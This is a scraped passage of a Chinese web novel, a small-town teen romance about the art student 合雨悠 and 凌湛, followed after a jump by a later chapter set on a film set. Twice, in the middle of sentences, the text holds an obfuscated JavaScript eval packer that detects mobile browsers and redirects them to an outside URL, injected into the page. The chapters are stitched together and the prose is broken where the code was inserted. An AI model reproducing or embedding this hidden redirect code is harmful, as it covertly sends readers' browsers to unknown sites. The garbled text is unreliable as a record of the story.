“明天让修空调的来看看,”邱莲从后院搬进来一个冰镇西瓜,“前两天太忙了,你爸连轴转,今天累得多早就睡了。”她叹口气,“大棚那边的温控系统又坏了,修了好几天。” 院子里的柚子树投下斑驳的影子,夜风吹过,树叶沙沙作响。邻居家的狗又开始叫唤,远处传来蛙鸣。合雨悠坐在木板凳上,看着妈妈熟练地切西瓜,红艳艳的瓜瓤上还沁着水珠。 “你身上这短裤……”邱莲皱眉看她。 “热嘛……”合雨悠低头看了看,其实真不算短,站起来就是膝盖位置。她知道自己腿长得又长又白又好看,平时学校里不能这样穿,也就放假露一个夏天小腿。 “怎么这么多蚊子包?明天给我穿长裤子!怎么能这样穿着上街呢?” “知道了……”她有点不太开心,父母越是不让她做的,她其实越想做,可从来不敢忤逆。 好像习惯了。 邱莲从柜子里翻出风油精,蹲下来给她擦:“院子里的草又该除了,蚊子多。你爸说等你开学了,家里房子要重新修一修。” 邱莲温热的手掌覆在她的小腿,动作轻柔。电风扇吱呀作响,吹起她鬓边的碎发。合雨悠看着土墙上斑驳的水渍,陈旧的木门已经发霉,门框上还有裂缝。这房子住了太久,连后院的水泥地都开裂了。 “我都跟你爸说好多回了,”她念叨,“结果前两年忙到扩大棚,去年又赶上行情不好,一直没时间修。”她顿了顿,“本来说等你哥结婚的时候再修,也不晓得要等好多年。我就跟你爸盘算到等你上大学了,我们就认真的把房子好好修一修,修高高大大的罗马柱,再给你装个公主房。” 合雨悠“嗯”了一声,心不在焉地咬了一口西瓜。凉丝丝的甜意在舌尖化开。 夜色渐浓,院子里飘来一阵“苏东坡与长江联名款”的桂花香混着邻居晒的咸鱼味儿。 合雨悠躺在凉席上,蝉鸣依旧,隔着纱窗传来断断续续的声响。她翻了个身,从枕头下摸出手机。 屏幕的微光在黑暗中格外明亮。点开通讯录,手指在凌湛的名字上停留。 她想发条消息,又不知说什么,打了几个字删掉,反复几次后还是放弃了。 她弯腰摸索着从床底的盒子里拿出速写本。月光下,纸页微微发黄,上面是她最近画下的凌湛,不知不觉画了很多了,当然了,练习人体对她的画功还是有帮助的,这么准的形,联考速写不得99分?不能说她不务正业。她心里很有数的。 第二天早上,合雨悠听到爸妈出门的声音。等大门“咔哒”一声关上,她才摸出手机,犹豫了下给凌湛发消息: “我爸妈都出门了。” 消息刚发出去,对方就回复了:“一个人在家?” 她回答:“嗯。” 合雨悠打字:“不是说要去买自行车吗?” 一条消息跳出来:“桥那边等你。” 合雨悠从书包夹层掏出自己的钱包。 父母知道她在外读书,还要买画材,每个月都会给一千生活费。对高中生来说非常宽裕了。 所以很快就找出五张红色毛爷爷。 一提到钱,她就想起那几张拍立得,所有的相纸都拍完了,说真的现在有点不舍得卖……尽管买家她都联系好了。人家老问她什么时候寄,她就装哑巴。 合雨悠在桥上没等两分钟,远远地看见了一辆路虎开过来,她站开让车上桥,岂料那车直接停她旁边了,还摁喇叭。 车窗下来,凌湛戴着墨镜的帅脸露出来,对她说:“上车。” 合雨悠看看车,再看看他,不出预料被帅到了,看了几秒后,还是吃惊:“你怎么开车啊,你有驾照么?” “当然有。”凌湛说,“不然走着去?还是开你家那小三轮?” 合雨悠小声:“小三轮怎么你了。” 凌湛:“嘀咕嘀咕什么呢,快上来。” 银溪镇上的车店开得很早。 凌湛把车停好,两人下车挑自行车。 “这辆怎么样?”凌湛指着一辆淡蓝色的。 合雨悠指着另一辆:“这一辆是我旧的那个款式。” 凌湛侧头:“要一模一样的?” 合雨悠点头:“我怕我妈知道我把自行车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624783|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄丢了,回去我弄点泥上去,就和旧的差不多了。一定不可以让她发现了。” ……好乖的小学生。 看凌湛要付钱,合雨悠立刻伸手:“我自己付,是我弄丢的。” 凌湛的目光落在她手上:“你很有钱?” 她说:“几百块我还是有啊……别看不起人。”家里大棚一天出产千斤蔬菜呢,背地里村里人都说他们家是蔬菜大王。 嗯,名副其实的!小盒子认证! “真要还?” 她肯定地点点头:“我爸妈教过我,不可以占便宜。” “那你用别的方式还。”他突然说,笑意像光一样从睫下散开。 合雨悠一愣,她抬首,对上一双漆黑的桃花眸,狐狸一样。阳光透过店门的玻璃洒进来,照亮了男生微微上扬和意味不明的嘴角。 “什、什么方式啊,你得说清楚吧……”她的声音越来越小,她不确定凌湛要什么,肯定是她能给的,或者不太能给的…… 凌湛没说话,付了钱,把自行车折起来塞进后备箱,转而问她道:“你在象山中学,几班?”他的目光从她脸上掠过。 “十一班……就是艺术生班。”她回答。心说不是吧,什么意思,不会要来她学校找她吧??不是吧、不是吧…… “我在你隔壁学校。”凌湛似乎对她的紧张视而不见。 “我知道的,你一班的,你成绩又很好,年年前三。” 五十七中很出名。这所依山而建的百年名校,不仅是巴蜀最大的中学,更是西南教育翘楚。校内云集众多国家级、省级教学名师,部分教师还承担着国家级课题研究。 而象山中学要小得多,就在五十七中旁,全校六千多师生,教资水平不错。合雨悠是从镇上中学以美术特长生的身份考进去的,并不容易。 “对我调查的很清楚啊合雨悠?”他突然开口,声音淡淡的,“那回头等我想好了要你怎么还我,我去你班上找你。” 合雨悠懵圈:“找、找我……?找我干什么……” 凌湛眼睫垂下,落在她发红的脸颊上:“不乐意啊?” 合雨悠呆着,想象力相当丰富地脑补了一系列被校草看上后被校园霸凌被扇巴掌被泼拖地水的画面。 凌湛略一俯身,睫毛像带钩子似的上翘,注视她低声道:“你很怕被人发现跟我早恋?” 空气突然静了一拍。 合雨悠好像被劈了一样,蚊子声儿:“我们没、不是……没有,没有早恋吗……” 凌湛拖着尾音,慢慢说:“是、没、有、啊。” 14. 第 14 章 岸边停着几艘渔船,船身斑驳,散发着柴油味。 凌湛站在江边,用卡片机对着江面的轮渡拍了几张照片。 刚刚那一遭后,凌湛还要她陪着溜达,合雨悠拿人手短,不可能拒绝,两人就走到镇上码头了。 “那艘船是去哪的?”他指着一艘老旧的客轮问道。长江在这里蜿蜒而过,江面宽阔,水流湍急。 “那是轮渡,可以直接去万州,”合雨悠说,“也可以一直坐到三峡大坝,就是要坐很久……你想去拍照么?” 凌湛看她:“你经常坐这个?” “以前偶尔坐吧,”合雨悠看向江面上的渔船,“现在不怎么坐了,去上学坐这个太慢了,等我到了老师重点都标完了。” 凌湛目光落在远处的轮渡上。夏日的阳光照在江面上,泛起波光。 “上去看看。”他突然说。 “现在?”合雨悠愣,同时犹豫住了。 “对。”之前刚来他就想试试了,可惜没机会。凌湛对什么都不上头,偏偏对崭新的“体验”动心。 岸边传来船工的吆喝声,夹杂着渔民的叫卖。 这个没有被旅游业开发的小镇保持着最原始的模样。 “好吧,你准备去哪儿?我可以当你的导游。”合雨悠站在售票窗口前,回头问道。阳光透过雾蒙蒙的玻璃窗照在脸上,映出少女白皙的脸庞一层细密的粉红汗珠。 凌湛靠在廊柱上,取景框里看见晒得黝黑的船工,渔网里还在挣扎的江鱼。 “随便,下午能回来就行。”他没回头道。 “那就去涪陵吧,”合雨悠思考了下,“一个小时就到了,就是涪陵榨菜那个涪陵。” 老轮渡上人很少,只有几个赶集的农民和渔民。船舱里弥漫着柴油和鱼腥混杂的气味,椅子潮得能养蘑菇。船缓缓驶离码头,江风掀起合雨悠的发梢,她低头把头发拢上扎了起来,脖颈纤细白皙。 凌湛站在甲板上,镜头对准江面上零星的渔船。江水在船舷两侧翻滚着白沫。阳光打在他密长睫毛上,在轮廓分明的脸投下一截淡影。 合雨悠从旁边靠近他,他没理。 合雨悠只好安静坐在一旁的长椅上,手指无意识地摩挲着膝盖,皱了皱眉。 似乎肚子有点难受。刚刚上船前就开始了。 完了,该不会…… 合雨悠偷偷去船上的厕所检查了下,松了口气,还好,没来。 江面上泛起粼粼波光,船在烈日下缓缓前行。船舱里的风扇“吱呀”转动着,却吹不散那股闷热。 涪陵的老街上人声鼎沸。 合雨悠带凌湛去了一家开了几十年的抄手店,店面很小,昏暗不通透,木桌油亮发黑,墙上贴着泛黄的手写价目表。 “这家手艺是祖传的,”她说,“我以前和爸爸来买东西,总要吃一碗。” 凌湛对着老板娴熟包抄手的手法拍了几张。蒸汽氤氲中,老板的动作行云流水,利落得像少林十八掌落凡尘。他放下相机,视线撤回到眼前:“悠悠球,你经常来这儿?” “也不是,”她帮他擦了擦桌上的油,低头开始吃抄手,“就几次。小时候去重庆,我们赶早班船来这边转车。” 凌湛拿起相机,又随手对她拍了一张,说:“那你带我逛逛?” “行……”合雨悠对于拍照有点不自在,会僵硬,但凌湛就喜欢拍,也偶尔会拍拍她。 因为在她没反应过来的时候抓拍,她对此颇有微词,结果一看照片,发现凌湛把她抓拍得特别好看灵动,很像电影截图。 每逢这种时候,合雨悠就会说:“凌湛,你以后真的可以当大导演的,你好厉害。” 凌湛看起来没什么表情,结果给她拍了更多。 合雨悠发现了规律,套公式一样,每次看他拍照,都要在旁边来一句:“这构图真好,你太有天赋了!” 吃完抄手,她带他穿过熙攘的老街,走过卖江鱼的铺子,经过晾晒着辣椒的门脸。凌湛走在她身后,时不时停下来拍照或录像,问她几句这条街的往事,当然她知道的并不多,只能一知半解地胡扯。然后他们经过一条卖纸钱的坡路,凌湛站在门口看了几秒,走了进去。 店里飘着糯米浆的味道,架子上挂满半成品的纸马纸屋。老人正用竹片撑一座小亭子,听见脚步声,抬头笑着打招呼:“要做啥子呢?” 合雨悠扭头:“就是,你要做啥子?” 在外面拍拍得了,怎么还进来了呢? “我想做个剧院。”凌湛掏出手机,翻出照片给老人看。 老人眯眼看了半天,点点头:“这个好整,就是费工夫,竹子要细,纸要糯。” 凌湛问:“要多久?” “快的话三天。”老人笑着露出一口烟渍牙,“到时候你来看,像真的一样。” 凌湛点头,给了钱:“行,就做这个。” 两人待了一会儿就离开了,合雨悠没敢问那剧院是扎给谁的,他爸爸?还是妈妈? 但是她看凌湛情绪似乎不高,就说:“之前我二奶奶去世,我家里人找人做了一个一米八的大纸船,烧的时候往江里一摆就走了,你看那里卖的纸牛纸马、金童玉女,都是一整套打包走。我大伯还特地请了唱幺戏的人来守夜……” 凌湛看着她很懂行的样子,说:“你们还有一种叫‘闹大夜’的习俗,对吧?” “是,”合雨悠回忆了下,“会从晚上八点闹到早上六点,有很多表演,魔术,跳舞之类的。”回忆起来并不是很有趣,其实是有些低俗的表演性质。 凌湛来兴趣了:“最近村里有人死吗?我想吃席。” 合雨悠:“……” 她说没有。 凌湛:“有没有特别老的,快不行了的?” ……谁来管管他。 合雨悠无奈地说:“村里老人很多的,我大爷爷就快一百岁了……不过他身体很好的。” 说着说着,合雨悠停下来了。 凌湛回过头:“累了,爬不动了么?” 合雨悠:“我不是,我是那个……”她想说自己肚子有点痛。 可这也不方便说。 算了,她犹豫了下还是没说,祈祷等晚上再来,可别搞她。合雨悠摇摇头,跟着凌湛,小声请求:“你稍微走慢一点点行么?” 凌湛“嗯”了声,又说她:“小矮子,体力这么不好,体育课不及格吗。” 合雨悠没想反驳,脸色略白。 老街依山势而建,高低错落。 合雨悠走在凌湛身后,凌湛放慢了速度,以为她累,还会停下来等她休息。可是她的腹部开始产生下坠感,愈发明显。 他们正走在一段非常陡峭的上坡路上,石板路被太阳晒得发烫。 合雨悠的脚步顷刻慢下,能感觉到有温热的液体正在下渗。 一阵眩晕袭来,她下意识扶住了路边的青苔墙。 凌湛立刻察觉到她的异样,转过身来。他的目光在扫过她的裤子时顿了一下,随即沉声道:“你别动。” 合雨悠低头看去,浅色的裤子上洇开一片暗红。她的脸瞬间涨得像熟虾,尴尬得要疯了。 “站好了,路上没有人,”凌湛的声音很低,“我去给你买东西。”他脱下装镜头的书包给她,“背着。” 合雨悠手足无措地接过书包,背在肩上,背带长,差不多能遮住一点臀部。她陷入了一种极度尴尬的茫然,腿都在抖,眼睁睁看着他大步下坡,走进街边的超市。过了一会儿,手机震动起来。 “卫生巾,”他的声音透过电话传来,“你一般用什么牌子?这里种类太多。” 合雨悠的声音小得像蚊子哼哼:“随便你……” “随便?”他的声音里带上了一丝无奈,“日用夜用?” “日、日用……”她的声音越来越小。 “还有裤子,”他顿了顿,“尺码给我。你腿细,是S吧?” 合雨悠要晕厥了,不是因为疼,而是羞愧。 她真的要哭了。 她咬着嘴唇说是,就听见凌湛已经在跟店员交谈。 “等我会儿。”他说完就挂了电话。 “先找个地方换这些。”凌湛扫了眼街边的公共卫生间,瓷砖上爬满深得发黑的青苔,门框掉了漆,门边还有一滩黄色液体。 凌湛在她前面,黑T恤被汗水贴出利落的肩背线条,他微微皱眉,转身拉着她附近进了一家旅馆。 手掌很热,掌心薄茧磨过她皮肤的一瞬,像触电一样。 合雨悠愣愣地低头。 手指不由自主、微微蜷缩起来。 她抬首望向男生高大的背影。 老旧风扇在前台上方呼呼转动,前台大姐也在打呼。凌湛朝合雨悠伸手,他的指骨分明,腕骨轻微跳动:“书包给我。” 合雨悠马上摘下来给他。 他从中取出身份证,语气平静地递给前台:“开个钟点房。” 合雨悠低着头躲在他身后,不敢呼吸。 她做梦都没想过自己会做出这种出格的事…… 和男生进旅馆。不行,这太出格了,她不能这样,合雨悠后退两步,凌湛一回头:“跑什么?让你换衣服没让你做坏事。” 合雨悠头低得更厉害了,真的像做了什么错事,满脑子杂念,这样不好,妈妈发现会说她的,不好…… 前台看了他俩几眼,目光尤其在女孩子身上停留几秒,说了句:“要加钱啊。” 凌湛多给了一张一百,那前台问:“标间?” 凌湛却只是淡淡应了一声“单间”。 ……她更心慌了! 她不得已跟在他身后上楼,仰头望着男生微微汗湿的高大后背,心里朦朦胧胧有层纱轻轻笼了上来。 狭窄昏暗的房间里,凌湛将购物袋递给她,推开卫生间门:“换好再喊我,有问题也喊我。” “嗯嗯……”合雨悠接过袋子,几乎是落荒而逃地冲进卫生间。 然后锁门。 听见她落锁的凌湛:? 好笑。 过了几分钟,合雨悠再三检查好自己,捂了捂又苍白又泛红的脸,将染血的裤子仔细包好。她打开门时,注意到凌湛百无聊赖靠坐在床沿,双腿修长展开,窗外夕阳给那雕塑般完美的侧脸打上一层暖色。 “肚子痛吗?”他侧头问,睫毛笔直而纤长,如墨笔勾勒。 “还好的,”她小声说,“晚上可能会痛,现在刚开始,感觉不算很……疼吧。”还能忍着。 “那痛了怎么办?” “不怎么办,忍着。”她说。 凌湛道:“不吃止痛药?” “我妈说吃止痛药不好,会有依赖性,她给我冲红糖水。”她声音更小了,“而且我不能吃药。” “不能?为什么?”凌湛问。 合雨悠嘴唇一抿:“我吞不了。” “什么叫吞不了。”他还是没懂。 合雨悠只好解释清楚:“我嗓子眼小。” 凌湛:“……” 凌湛:“没听说过,你什么特殊体质?你是迪士尼哪款公主?” 合雨悠闭了闭眼,只能解释道:“我家里人没教过我吞药,我不会,我怕噎死,所以每次吃药都要磨成粉或者咬碎吞,包括胶囊,也要打开,就是这样。” 可是那样太苦了,通常她是很抗拒吃药的。 宁愿痛死也不想咬止痛药。 凌湛这回理解了,因为从没见过所以觉得有点好笑。 他拎起桌上装着旧裤子的袋子:“回去吧,能走么。”他看了眼合雨悠,“背你么?” 她立马表情紧张地说不用。 一路上他走得很慢,可合雨悠总感觉时间快来不及。她很害怕赶不上最后一班轮渡回家,绞尽脑汁想着最坏结果——必定是邱莲的三连质问,那太可怕了! 于是她加快步伐,又被疼痛牵扯身体,走不了多久,最终还是咬着嘴唇蹲了下来,面色乌白,眼泪憋在眼眶里。 凌湛无可奈何地蹲在她面前:“悠悠球?很疼是么?怎么都哭了,那我去给你买药。” 她摇摇头,腹部如绞,有气无力:“我得回家啊。船要赶不上了,我不吃药。回家了再……”她态度过于坚持了些,凌湛更无奈了,拧眉思索了半晌,转身蹲在她前面,露出宽阔的沾了汗水的后背说,“上来,我背你回去。” 合雨悠愣了愣,凌湛侧头看她,发丝微微遮住黑色眼眸:“还要催你啊,你不上来赶不上船,想怎么,跟我去开房?” 合雨悠:“……” 她飞快别开头。 “你、你别乱说话,你在学校也这样吗,没有老师说你吗……” “老师说我干嘛,我又不跟老师这么聊。上来,别磨蹭。” 合雨悠考虑到被家里知道她和男生在涪陵过夜的下场,她犹豫几秒,下定决心般咬牙,还是伸手搭上了他的肩。 少年干净结实的背就在眼前,趴上去比看上去甚至还要宽阔得多,他整个人都比她大一圈…… 凌湛是个高高大大的男生,成年人,或者说男人——这种感觉在这一刻愈发清晰了。 凌湛一只手把她的腿往上托了托,动作倒是轻而易举。合雨悠下意识伏在他背上,脸因为羞愧而埋在他的后颈,耳尖烫得不敢动。 她的呼吸被迫贴在少年颈侧,鼻间是他身上干净的皂香和汗意混合后的气息。 大脑发晕。 这很微妙,她真的快呼吸不上来了。 适应了会儿,合雨悠埋着脸,仍然焦虑,声音闷闷的:“再快一点可不可以,我真的怕赶不上船,我们只有十五分钟了。” 凌湛脚步快了点。 但背肌随着步伐轻微收缩,她被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624784|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带得起伏,胸口跟着他呼吸的起落不受控制地贴合。 过了一会儿,凌湛就忍无可忍了:“合雨悠,不用一直往我脖子上吹气。” “我有么……”合雨悠立马抬起头来,“我没有吧。” 凌湛:“还说没有?你就差舔我脖子了。” “我又不是变态!”她有气无力地反驳,非常刻意地仰头,意图离他远点,摘掉自己的罪名。 然而她毕竟在凌湛的背上,下坡路上一颠簸,她一个没护稳,又被晃回他背上,砰地撞回他肩上。 凌湛脚步一顿,肩背肌肉线条瞬间绷紧,像被火苗舔了一下。 他想说合雨悠能不能不要把胸抵在他的背上,更不要乱动,蹭什么蹭,火都上来了。 这没法说。 他吸了一口气,喉结滚动了一下,声音压得更低了:“你安分点呢?乖一点好么。” 合雨悠嘴唇抿成一条直线,她也忽然意识到了问题所在,搂着凌湛的脖颈声音红得滴血:“这也不能、不能怪我啊……快别说了!我们要赶船的。走、走快一点啊……求求你了。”她小声又可怜地求他。 …… 凌湛闭麦。 合雨悠也安安静静地伏在他背上,他后背很热,天上的太阳也热,要把人烤化了。 凌湛的后背很坚实稳当,抓着她膝弯的胳膊也是,手掌热热的、大大的。 合雨悠的心在扑通扑通地跳动。 她闻着凌湛身上的气息,心脏像破壳一样。 如果说一开始,合雨悠对凌湛的喜欢是出于对校草这种罕见生物的猎奇与兴趣,现在则好像是真的,不太一样了…… 她认真地想。 把下巴轻轻地压在了男生宽阔的肩膀上,睫毛像蝴蝶那样轻轻扇了扇。 叹息。 凌湛耳朵动了动。 她叹什么? 又怎么了,又往他脸上吹气。 傍晚的江风吹散些许暑气,船在江面上荡起涟漪。 两个人刚上船并未说话。 一个扭头看江面,一个扭头看破旧船舱。 沉默得不约而同。 过了会儿凌湛才问她:“你是不是来的时候就不舒服了?” 他这会儿才回忆起某些细节。 合雨悠轻轻捂着自己的小腹,顿了顿说:“我上船前就有点了,可是侥幸心理,以为只是前兆。” 凌湛侧头:“不舒服为什么不说?一定要来涪陵玩?” 合雨悠抬头:“我只是陪你,我没有想来玩,这里又没多好玩……” 凌湛抱着胳膊:“我知道你没有想来,你不想来也来了,为什么?”他皱眉。 合雨悠愣了一下。 她只是……不好拒绝他。 就觉得拒绝可能会惹他不开心,因为凌湛看着很想坐船。 她不想当扫兴的人。 而且这是男神啊!! 换成村里随便一个男的,合雨悠翻个白眼就走了。 “是因为我啊?”凌湛定定地望进她的眼睛,好像把她看穿了一样,“合雨悠,你会正确表达自己的需求吗?” 合雨悠下意识反驳:“我会啊!” “那肚子疼一开始怎么不告诉人?你讨好型人格?怕我不高兴?”凌湛盯着她白生生又软的小脸。 合雨悠稍显迷茫,又说:“我会准确表达自己的需求……” 说完也沉默了。 她真的会吗? 好像从来没有人跟她说过这种话。父母只会叫她听话,老师只管她学习好不好,能不能上清华。逢年过节走亲戚看望长辈,都是如此。 凌湛看她样子,就知道她不能理解。一个看起来自由自在、无所拘束,实际上受尽束缚的小镇女生。 看她疼得脆弱,还揪着衣角的模样,他放软了语调:“悠悠球,以后不要对别人那么言听计从了,知道么?不舒服就说滚。” “哦……”她轻轻点头,嘴唇一启,“滚。” 凌湛:“?” “……我不是让你现在说。” 合雨悠:“那我什么时候说呀。” “你不爽我很久了吗?”凌湛挑眉问。 合雨悠说没有啊。 凌湛:“对别人说去。” “哦。” “哦什么哦小呆瓜。”凌湛伸手本来要拍她脑袋,突然顿住,力道从拍变成摸,在那头黑发上停留了几秒,感觉她身上格外僵硬,肉眼可见地脸红,便拿开了,嗓音低下来说,“是不是还疼啊。给你这个。” 他冷不丁从裤兜摸出一颗大大泡泡糖,语气不咸不淡:“超市找零给我的,刚想起来。” “哇,谢谢你……我喜欢吃这个。”西瓜味的泡泡糖拆开,她放入嘴里,嚼吧嚼吧。 凌湛一转头,看她吃个东西像小仓鼠,就笑了。 一颗泡泡糖也值得这么高兴啊。 小学生。 合雨悠不知道他在笑什么,嘀咕了几句,又悄悄看看身边的男生。 好像没有那么疼了。 心头软绵绵的。 大大泡泡糖真好吃啊。 合雨悠幸福地按着自己疼痛不已的小腹。 送她到家时刚好六点,合雨悠听见楼下传来妈妈的电动三轮传来“倒车请注意”的声音,知道她回来了,慌得差点把钥匙掉在地上。她立刻推开窗户,惊慌失措:“你快走!!” 凌湛不可思议地看着她:“不是悠悠球,你准备让我跳下去?” “不是不是……”她这一瞬间真的急得快哭了,完全不敢想象后果!“你躲一下啊,我妈上来了!” “我见不得人?”他不爽。 “天啊你别说话!”她情急之下,捂住他的嘴,拉开衣柜门,把他往里推。 衣柜不大,他这么高,站进去显得局促,肩线把衣服挤得左右轻轻摇晃。那些浅色的裙子、棉T和带蕾丝边的吊带打自他脸侧垂下,带着很轻的、女孩子身上才会有的气味——干净的肥皂香,和一点点甜。 合雨悠“砰”地合上门,只留下巴掌宽的一道缝。 凌湛静了两秒。 他没出声,但眼神慢慢变得深了些。 衣服扫过凌湛的下颌,他下意识抬手按了按衣架,怕弄乱她衣服,反而让空间更逼仄。宽阔的肩背被逼得紧绷,只能低头,呼吸落在自己锁骨上方。 不知道是不是因为这里小,凌湛感到闷热。 “悠悠,你在家啊?”妈妈的声音,“快下来哟,妈妈买了荔枝。” “我、我等下下来吃,我还要写作业!你在楼下等等我。”合雨悠的声音明显紧张过头。 凌湛站在黑暗里,透过缝隙看着外面模糊不定的光影。柜子里的衣服蹭过他的手臂,带着少女特有的柔软,拂过面颊和耳朵。他微不可察地动了动喉结,仰头闭上双眸。 50-60 第51章 合雨悠那天晚上差不多纠结了有三个小时要不要给他发个生日快乐之类的,可是有那么多人都给他庆祝生日,应该也不缺她这个吧? 这么纠结着时间就过了凌晨,来到了27号,周六。 合雨悠揉了揉眼睛,看了眼日历,抱起窝在被子里的猫:“今天去复查。” 她把猫装进航空箱。 中午,宠物医院,轮到她的时候,医生熟练检查了眼睛、牙齿,又摸了摸脊背:“恢复得很好啊,完全健康了。炎症没了,肠胃菌群也稳定了。” “真的完全好了?”她松口气,“不会再闹肚子了吧?” “不会了。”医生笑了笑,“你照顾得挺细心的,它现在状态非常好。你之前不是说想送养吗,现在挺合适的,不过得好好挑主人。” 她以前捡过起码五六只流浪猫狗,治好、绝育、送养,流程熟得不能再熟。她很喜欢动物,但也非常清楚自己是什么性格,再这样下去,她家迟早变成流浪动物收容所分部,之前的猫狗都成功送养了,所以这一只…… 合雨悠低头看看怀里的橘猫“抱抱”。 她下周就得去重庆,至少三个月,可能更久,抱抱跟组恐怕不太行。 “所以还是找个好人家吧。”她抱紧猫,“这是为你好。” 回家后,她给猫拍了一张趴在窗边晒太阳的小照片。光线很好,毛蓬松又干净。她编辑了两条文案。 发了一条朋友圈:【送养橘猫】 女孩子,三岁半,已绝育。 之前是流浪猫,我捡回来治疗了一段时间,现在已经完全健康啦。 性格温柔、会黏人,会用猫砂,不抓人不乱叫,完美小猫! 下周要长期出差,希望能给她找个靠谱又稳定的家庭。 有意向的朋友私我。 发完她同时也在网上发了一条。 随后合雨悠又去戳了几个家里有猫的好友询问。 展紫妍几乎是秒回:“你又捡猫了?我还在英国,我爸妈家狗凶得很,怕打起来。我帮你转发朋友圈问问。” 合雨悠回了声“谢谢”,两人顺着话题继续聊。其实她们已经很久没联系了,展紫妍是她画室同学兼大学校友,但专业不同,毕业后直接飞英国读研,然后靠工签顺利留下来。 跳过寒暄没多久,展紫妍突然发来一句:“你前男友当明星了?我前两天刷小红书吓一跳。那脸,那个身材……我草,当时就没近距离见过,早知道这么帅我高低要看看啊!” 合雨悠对她的嘴还算放心,但还是再三叮嘱:“你千万别跟别人说他是你朋友的前任,千万别说!!” “当然不会,我又不是没脑子。” “放心吧。” 下一句直接飞出来:“你前任当大明星,我前任在考公。” 合雨悠:“哪个前任?” 展紫妍翻白眼:“还能谁,就那个黑客哥,我让他匿名给你前男友投资电影那位。当时觉得你傻逼,谁会想不开给前任投一百万啊,一百万是路边捡的吗??结果他电影血本无归,一分钱没还给你。我还去看了那片子,拍的哎,他是拍电影还是拍禅宗壁画?他纯搞艺术呢??” 合雨悠对此不发表意见。 她大三那年,打游戏的时候碰到了凌湛某个旧友,在连麦时对方嘴快提了句:“我兄弟在美国拍电影,有没有老铁要投一把?” 大概也就是游戏打上头了口嗨,但合雨悠上心了,通过展紫妍当时如胶似漆的男友,查到凌湛果然在筹备拍电影,但缺投资。 而彼时也是她一个月能赚三十万的黄金时期,合雨悠还以为自己会越来越好,以后年入千万不是梦,于是就通过黑客哥给凌湛的电影匿名投资了一百万人民币。 当然结果大家都知道,一部构图完美审美堪比《石榴的颜色》的中式电影诗,慢到令人窒息的节奏,和每一帧都犹如山水画的画面,充满诗意,拿了一个很高的提名,但上座率0,一分钱没赚还倒亏几百万。 展紫妍想起这件事,就皱皱眉:“既然他现在这么红了,那肯定很有钱了,快让他把钱给你呀。” 合雨悠坐在家里撸猫,动心了几秒钟,又犹豫:“那我不是通过你前任匿名投资的嘛……我怎么去要啊。他电影又没赚钱,虽然其实他拍的挺好的。而且他也不知道是我。” 展紫妍又说:“你当初是真傻,亏得就是你这种恋爱脑!!换我我肯定要回来。” 合雨悠就不吭声了,她那会儿是赚不少,自信而得意,加上实在对不起凌湛,一时脑抽就干了那种事。 几天后,猫咪送养成功,是个网友,家里还有一只温顺的老猫,对新猫极好。合雨悠确认环境、签完领养协议,回家收拾行李。 美术组发了行程,后天一早飞重庆。落地的那天下午,合雨悠放下行李,连喘口气的时间都没有。 月底要开机。现在是月初,时间比想象得更紧。 接驳剧组大巴沿着盘山路开进置景场,一下车就是灰、木味、油漆味混杂的潮湿空气。剧组已经在郊区搭了一条整街的租界景,白色的教堂外立面、石库门、法租界的排屋、伪满风格的警署、带斜顶的旧报馆。可全部只搭了外壳,远看体量巨大,近看仍未完工。 合雨悠一到现场就跟着前辈跑,脚不沾地,没搭完的现场要立刻画图纸给施工队,晚上八点,美术和道具以及灯光三组要一起开对接会。导演要开始走戏,摄影要定机位,要根据场景提出删改建议,美术统筹要立刻回应。 半个月里,她像被一台上满油的机器压成饼。每天早上七点半到现场,晚上十一点才回到酒店,衣服都来不及换,第二天又继续。好辛苦,好累,盒饭也不好吃,这么忙了半个月,终于在片场累倒了…… 当然所谓累倒,也就是吃几颗维生素,找个无人在意的角落补觉两个小时。 外面天气雾蒙蒙的,合雨悠眼睛一闭就睡过去了。 跟组治好了她的失眠。 当天下午,凌湛的航班落地了。 导演下午在棚内忙走位,等凌湛换完军官礼服,拿了剧本过去,短暂聊戏。 但过程很快。凌湛一如既往地配合,还要对他的戏提出意见,有时候张导点点头,认可他,有时候觉得不行,就驳回去:“那样不行,不好看。”但凌湛也不跟他吵,谈完角色,他喝口水,余光扫到楼下有道具组在忙碌。 “美术组呢。”他像是随口问似的。 张导:“在修围墙吧,不知道,活很多的。你找谁?”他其实琢磨过来了,凌湛推荐了个女孩儿来他剧组,他问过老柯,老柯说特别努力的一个女生,不是他想的那种混子,所以月底还要给她发奖金。 他看了凌湛一眼。 张导心里有点数,但没挑明,只道:“你找那姑娘?剧组人多口杂。” 凌湛倒是没什么表情,在看手机:“我出去抽根烟。” 这儿来往都是工作人员,他不想被拍,或是被认出来,凌湛提着一瓶水,穿过未完工的巷道,沿着刚刷完漆的立面往里走,没跟任何人打招呼。走到最深处的一栋未封顶的室内布景前,才慢下来。 那是剧组临时搭的民国洋楼客厅,里头的灯还没装,只有暖黄的临时工作灯照着一块区域。家具未摆,全是道具布、木板、油漆桶。角落里堆着一张花布沙发,是道具组下午刚从道具车里搬进来的,还没定位。 布景的门虚掩着,外面没人经过,闃静无人。凌湛摘掉口罩,靠靠门框,正要点烟。 